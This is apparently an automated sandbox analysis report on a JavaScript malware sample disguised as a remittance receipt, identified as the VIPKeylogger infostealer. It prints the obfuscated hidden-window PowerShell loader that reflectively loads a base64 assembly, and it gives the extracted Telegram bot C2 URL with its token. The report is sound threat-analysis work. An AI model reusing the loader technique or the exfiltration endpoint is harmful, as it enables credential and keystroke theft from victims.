Analysis

  • max time kernel
    299s
  • max time network
    179s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/09/2026, 03:18

General

  • Target
    Remittance_receipt20260989465933.js
  • Size 16.7MB
  • Sample260916-dt1s5asygx
  • SHA256 c047ef2525a8b3c72bfcc3a6806801c7af4efaaf917746247e8ea13f1b9618a7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • vipkeylogger

C2
  • https://api.telegram.org/bot8611110077:AAEuzP7iyFeFxGdmSGBE5A2ZtPdzGKr_Blo/sendMessage?chat_id=6524620450

Signatures

  • Family: VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
  • Looks up external IP address via web service 1 TTPs 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Remittance_receipt20260989465933.js
    1⤵
      PID:4772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$taskers=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18;$asperly=[System.IO.MemoryStream][Convert]::FromBase64String($taskers);[System.Reflection.Assembly]::Load($asperly.ToArray())|Out-Null;[aaaaa.aaaaaaa]::aaaaaaaaaaa('q/sJNtkJSWMJpq2QI4EdoGuSpk23HL25Y4YBYLTLb+0GNbAByUyF1hu3CjuhAsXFDocjasc8u9DwnQ70tp+sKqqw9BfGP/eR1Wq5XwLQawlOj8fLKc8elvh/a9RcQazK','4rI7eU2HjyGEXycBr6ojKFkg2F0EwnIuvp6Nxova1MM=','3oxtFv384jeCP7+RgeK2M2iWgxfWxE12mpsvv6rIfL/6Z/pUQdlJKVKOSxOdmYW7','q84XR59xSyKfYTvVkGix1+2ijz79X4Wsy2Mc+6NiOs8=','fHK7zH8+FfGp2o2UHEkLjzcoIIb593wazGnsBb6J5GM=','GW8/um48JE2lwn/hE79wKhdA5SCGMyn6SA7YbMX5Ap4=','7JgCojJo18vQ4O7a3aUgdnbkT3/qEKawBUz76V2yjUI=','E6uykbBNByZh/NPTXyH4qlviFnXOfq/thFj2o7tAHS0=','DKMYIF/apVgeGDKDRRibu0FGn6crXMTrl9lvTZAOvvPme21Sc1cWbUJz5psAeNd0rtV8+GZ0/PIaXcYumAJDD2FWdVc1OB6CUnHQE0CYUUA=','S4DuU7VC0/ZkBXeBRpWg2cJaLbdOZdApRkWfRq39sPs8zFU5YJtUW/434axtrQNC','KI+ileenBWrxG6lljOPyZOTjH/rp380yEbeHgrPj16o=','sUzDr9GSFQWcZcj7igZLyDyk2HpdGnGSSFlm0DuGtmk=','4Ynvm35Eahv7aGAaGF/qpoXoUPDk8x/736jpTGI/fck=','8+9tLeFPtql/1gh3BPm/WFsZIeg1sRQUrEK4F3Guv50=','krgIAcYy8415f4AmR0dMqCHs8yak269AZJoaaaVw31E=','hSbz5ArgcSMTUBaXZAx/MKpgO9kNqKCs8efOqNS3QoU=','','','')"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$taskers=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18;$asperly=[System.IO.MemoryStream][Convert]::FromBase64String($taskers);[System.Reflection.Assembly]::Load($asperly.ToArray())|Out-Null;[aaaaa.aaaaaaa]::aaaaaaaaaaa('q/sJNtkJSWMJpq2QI4EdoGuSpk23HL25Y4YBYLTLb+0GNbAByUyF1hu3CjuhAsXFDocjasc8u9DwnQ70tp+sKqqw9BfGP/eR1Wq5XwLQawlOj8fLKc8elvh/a9RcQazK','4rI7eU2HjyGEXycBr6ojKFkg2F0EwnIuvp6Nxova1MM=','3oxtFv384jeCP7+RgeK2M2iWgxfWxE12mpsvv6rIfL/6Z/pUQdlJKVKOSxOdmYW7','q84XR59xSyKfYTvVkGix1+2ijz79X4Wsy2Mc+6NiOs8=','fHK7zH8+FfGp2o2UHEkLjzcoIIb593wazGnsBb6J5GM=','GW8/um48JE2lwn/hE79wKhdA5SCGMyn6SA7YbMX5Ap4=','7JgCojJo18vQ4O7a3aUgdnbkT3/qEKawBUz76V2yjUI=','E6uykbBNByZh/NPTXyH4qlviFnXOfq/thFj2o7tAHS0=','DKMYIF/apVgeGDKDRRibu0FGn6crXMTrl9lvTZAOvvPme21Sc1cWbUJz5psAeNd0rtV8+GZ0/PIaXcYumAJDD2FWdVc1OB6CUnHQE0CYUUA=','S4DuU7VC0/ZkBXeBRpWg2cJaLbdOZdApRkWfRq39sPs8zFU5YJtUW/434axtrQNC','KI+ileenBWrxG6lljOPyZOTjH/rp380yEbeHgrPj16o=','sUzDr9GSFQWcZcj7igZLyDyk2HpdGnGSSFlm0DuGtmk=','4Ynvm35Eahv7aGAaGF/qpoXoUPDk8x/736jpTGI/fck=','8+9tLeFPtql/1gh3BPm/WFsZIeg1sRQUrEK4F3Guv50=','krgIAcYy8415f4AmR0dMqCHs8yak269AZJoaaaVw31E=','hSbz5ArgcSMTUBaXZAx/MKpgO9kNqKCs8efOqNS3QoU=','','','')"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1236
      • C:\Windows\SysWOW64\ARP.exe
        "C:\Windows\SysWOW64\ARP.exe"
        2⤵
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:3704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$taskers=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18;$asperly=[System.IO.MemoryStream][Convert]::FromBase64String($taskers);[System.Reflection.Assembly]::Load($asperly.ToArray())|Out-Null;[aaaaa.aaaaaaa]::aaaaaaaaaaa('q/sJNtkJSWMJpq2QI4EdoGuSpk23HL25Y4YBYLTLb+0GNbAByUyF1hu3CjuhAsXFDocjasc8u9DwnQ70tp+sKqqw9BfGP/eR1Wq5XwLQawlOj8fLKc8elvh/a9RcQazK','4rI7eU2HjyGEXycBr6ojKFkg2F0EwnIuvp6Nxova1MM=','3oxtFv384jeCP7+RgeK2M2iWgxfWxE12mpsvv6rIfL/6Z/pUQdlJKVKOSxOdmYW7','q84XR59xSyKfYTvVkGix1+2ijz79X4Wsy2Mc+6NiOs8=','fHK7zH8+FfGp2o2UHEkLjzcoIIb593wazGnsBb6J5GM=','GW8/um48JE2lwn/hE79wKhdA5SCGMyn6SA7YbMX5Ap4=','7JgCojJo18vQ4O7a3aUgdnbkT3/qEKawBUz76V2yjUI=','E6uykbBNByZh/NPTXyH4qlviFnXOfq/thFj2o7tAHS0=','DKMYIF/apVgeGDKDRRibu0FGn6crXMTrl9lvTZAOvvPme21Sc1cWbUJz5psAeNd0rtV8+GZ0/PIaXcYumAJDD2FWdVc1OB6CUnHQE0CYUUA=','S4DuU7VC0/ZkBXeBRpWg2cJaLbdOZdApRkWfRq39sPs8zFU5YJtUW/434axtrQNC','KI+ileenBWrxG6lljOPyZOTjH/rp380yEbeHgrPj16o=','sUzDr9GSFQWcZcj7igZLyDyk2HpdGnGSSFlm0DuGtmk=','4Ynvm35Eahv7aGAaGF/qpoXoUPDk8x/736jpTGI/fck=','8+9tLeFPtql/1gh3BPm/WFsZIeg1sRQUrEK4F3Guv50=','krgIAcYy8415f4AmR0dMqCHs8yak269AZJoaaaVw31E=','hSbz5ArgcSMTUBaXZAx/MKpgO9kNqKCs8efOqNS3QoU=','','','')"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5472
      • C:\Windows\SysWOW64\ARP.exe
        "C:\Windows\SysWOW64\ARP.exe"
        2⤵
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • outlook_office_path
        • outlook_win_path
        PID:5924

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 88e5ffe18fd4a772efce68f1b0db839846cafc42d36415508ad5356a44d38f32
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_1jjl0ef1.zyp.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1jjl0ef1.zyp.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1236-22-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/1236-21-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/1236-24-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/1236-23-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/1236-19-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/1236-40-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/1236-18-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/1236-17-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/3704-46-0x0000000006A80000-0x0000000006AD0000-memory.dmp

          memory/3704-30-0x0000000000400000-0x0000000000438000-memory.dmp

          memory/3704-28-0x0000000000400000-0x0000000000438000-memory.dmp

          memory/3704-35-0x00000000033E0000-0x0000000003434000-memory.dmp

          memory/3704-45-0x0000000006BF0000-0x0000000006DB2000-memory.dmp

          memory/3704-47-0x00000000072F0000-0x000000000781C000-memory.dmp

          memory/3704-48-0x0000000006E90000-0x0000000006F22000-memory.dmp

          memory/3704-49-0x0000000006FE0000-0x0000000006FEA000-memory.dmp

          memory/4756-12-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-44-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-16-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-25-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-15-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-0-0x00007FFF39BCF000-0x00007FFF39BD0000-memory.dmp

          memory/4756-11-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-10-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-36-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-1-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-9-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-5-0x000001B3DAF80000-0x000001B3DAFA2000-memory.dmp

          memory/4756-4-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-6-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-41-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-8-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/4756-20-0x000001B3D8870000-0x000001B3D88D8000-memory.dmp

          memory/4756-7-0x00007FFF39A40000-0x00007FFF3A3E4000-memory.dmp

          memory/5924-34-0x0000000000400000-0x0000000000438000-memory.dmp

          memory/5924-37-0x0000000006010000-0x00000000065CA000-memory.dmp

          memory/5924-39-0x0000000005A50000-0x0000000005AEC000-memory.dmp

          memory/5924-38-0x00000000033B0000-0x0000000003404000-memory.dmp